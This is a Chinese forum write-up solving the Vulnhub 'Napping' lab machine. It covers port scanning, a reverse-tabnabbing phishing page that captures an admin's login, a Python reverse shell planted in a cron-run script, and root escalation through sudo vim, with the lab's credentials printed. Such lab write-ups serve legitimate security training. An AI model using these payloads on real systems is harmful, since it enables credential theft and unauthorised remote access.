回答

收藏

Vulnhub 靶机篇:Napping: 1.0.1

HG021B HG021B 18704 人阅读 | 0 人回复 | 2024-01-15

本帖最后由 Happiness 于 2024-1-15 11:45 编辑

0x01 靶机信息

  • 名称:Napping: 1.0.1
  • 发布日期:2021 年 10 月 22 日
  • 作者:hadrian3689
  • 系列:Napping
  • 难度:中等
  • 简介:即使是管理员也会在工作中睡着
  • 下载链接:https://www.vulnhub.com/entry/napping-101,752/
  • MD5:D2CDF58FACB576407CF564064E8D554D
  • 网络:DHCP自动分配

0x02 Write-Up
2.1 主机探测
工具:netdiscover
  1. netdiscover -r 192.168.181.0/24
复制代码
发现目标服务器 192.168.181.138

index.png

2.2 masscan扫描端口信息
  1. iptables -A INPUT -p tcp --dport 61000 -j ACCEPT
  2. 开放61000端口以便目标服务器返回数据包
  3. masscan 192.168.181.138 -p0-65535 --rate=1000000 --banners  --source-port 61000
  4. -p端口,rate=1000000(1M)速度,--banners 返回banners信息,--source-port指定返回的端口
复制代码
发现了22和80端口

index-1.png

2.3 观察网站
发现登录页面

index-2.png

注册用户user

index-3.png

主页面有提交博客链接的功能

index-4.png

  1. Please submit your link so that we can get started. All links will be reviewed by our admin
  2. 请提交您的链接,以便我们开始。所有链接都将由我们的管理员审核
复制代码
上面说所有提交的链接都会被管理员审核,提交链接并查看前端代码

index-5.png


index-6.png

2.4 实现钓鱼攻击

上文前端代码中使用了a标签来打开一个新页面,而且target属性为\_blank,当你使用这个target属性会打开一个新的标签页,此时新页面window对象上的属性opener,它继承了前一个页面的window对象,因此,后一个页面就获得了前一个页面的控制权。而代码中没有添加任何限制属性,例如rel='noreferrer 或noopener'
综上所述我们可以尝试tabnabbing钓鱼攻击。

2.4.1 准备钓鱼页面
靶机模拟用户点击发送数据,因此这里只要准备恶意页面即可
恶意页面 :fake.html
  1. <!DOCTYPE html>
  2. <html>
  3. <body>
  4.         <script>
  5.         window.opener.location = "http://192.168.181.136:4444";
  6.         </script>
  7. </body>
  8. </html>
复制代码
2.4.2 用python3开启http服务
将页面保存至server目录下并开启http服务
  1. python3 -m http.server 80
复制代码

index-7.png

2.4.3 在kali上开启监听端口
kali上开启4444端口接收数据
  1. nc -lvvp 4444
复制代码

index-9.png

2.4.4 到网站提交钓鱼url

index-10.png

等待管理员审核即可获取

index-12.png

%40这是url编码,解码是@
获取到帐号daniel,密码C@ughtm3napping123
2.5 ssh登录
在网站登录失败了,尝试22端口的ssh
  1. ssh daniel@192.168.181.138
复制代码

index-13.png


查看用户信息和组内文件
  1. id 查看用户信息
  2. find / -group administrators -type f 2>/dev/null
  3. / 根目录开始  -group 选择组  -type 类型 f文件类型  2错误显示丢入null
  4. find / -group daniel -type f 2> /dev/null
复制代码
发现用户adrian有管理员组的权限,在adrian家目录下有个可执行脚本 query.py

index-14.png

到目录下发现有三个文件 query.py,sit_status.txt,user.txt
目前user.txt没有权限

index-23.png

query.py会将网站访问状态写入site_status.txt,根据txt内容可以判断是一个定时执行的脚本

index-15.png

  1. sudo -l
  2. 查看当前用户可执行的命令
复制代码
用户没有特殊权限,我们继续下一步利用脚本反弹shell,获取用户adrian的权限


index-16.png

2.6 利用定时脚本创建反弹shell
将python反弹shell写入query.py
  1. import socket,subprocess,os;
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  3. s.connect(("192.168.181.136",5555));
  4. os.dup2(s.fileno(),0);
  5. os.dup2(s.fileno(),1);
  6. os.dup2(s.fileno(),2);
  7. import pty;
  8. pty.spawn("/bin/bash")
复制代码

index-17.png

在kali上开启5555端口监听
  1. nc -lvvp 5555
复制代码

index-24.png

此用户可以不用密码执行root权限的vim

index-18.png

2.7 vim提权获取最终flag
利用vim提权
  1. sudo vim
  2. :set shell=/bin/sh
  3. :shell
复制代码
查看最终flag,root.txt

index-32.png

index-33.png

2.8 目标机程序解读
查看刚才没有权限打开的user.txt
  1. You are nearly there!
  2. 你很接近了
复制代码
这个文件说明我们做的是正确的

index-25.png

在/root目录下有三个脚本 del_links.py,del_users.py,nap.py
del_links.py 作用是清空links表
  1. import mysql.connector

  2. mydb = mysql.connector.connect(
  3.   host="localhost",
  4.   user="adrian",
  5.   password="P@sswr0d456",
  6.   database="website"
  7. )

  8. mycursor = mydb.cursor()

  9. mycursor.execute("TRUNCATE TABLE links")

  10. mydb.close()
复制代码
del_users.py 清除users表
  1. import mysql.connector

  2. mydb = mysql.connector.connect(
  3.   host="localhost",
  4.   user="adrian",
  5.   password="P@sswr0d456",
  6.   database="website"
  7. )

  8. mycursor = mydb.cursor()

  9. mycursor.execute("TRUNCATE TABLE users")

  10. mydb.close()
复制代码
nap.py 是用来输入账户密码到我们给的链接中
  1. import requests
  2. import re
  3. import mysql.connector

  4. mydb = mysql.connector.connect(
  5.   host="localhost",
  6.   user="adrian",
  7.   password="P@sswr0d456",
  8.   database="website"
  9. )

  10. mycursor = mydb.cursor()

  11. mycursor.execute("SELECT * FROM links")

  12. myresult = mycursor.fetchall()

  13. data = {
  14.         "username":"daniel",
  15.         "password":"C@ughtm3napping123"
  16.         }

  17. for x in myresult:
  18.   url1 = x[0]

  19.   try:
  20.     r1 = requests.get(url1,timeout=2)
  21.     search = r1.text
  22.     if (search.find('location.replace') != -1):
  23.         match = re.findall("http(.*)\);",search)
  24.         new_url = 'http' + match[0].rstrip(match[0][-1])
  25.         r2 = requests.post(new_url,data=data,timeout=2)

  26.     elif (search.find('opener.location') != -1):
  27.         match = re.findall("http(.*);",search)
  28.         new_url = 'http' + match[0].rstrip(match[0][-1])
  29.         r2 = requests.post(new_url,data=data,timeout=2)

  30.   except requests.exceptions.ReadTimeout:
  31.     continue
复制代码
  1. crontab -l 查看定时任务
复制代码
系统会定时执行这三个脚本

index-19.png

query.py是adrian的定时任务

index-8.png


分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

140 积分
16 主题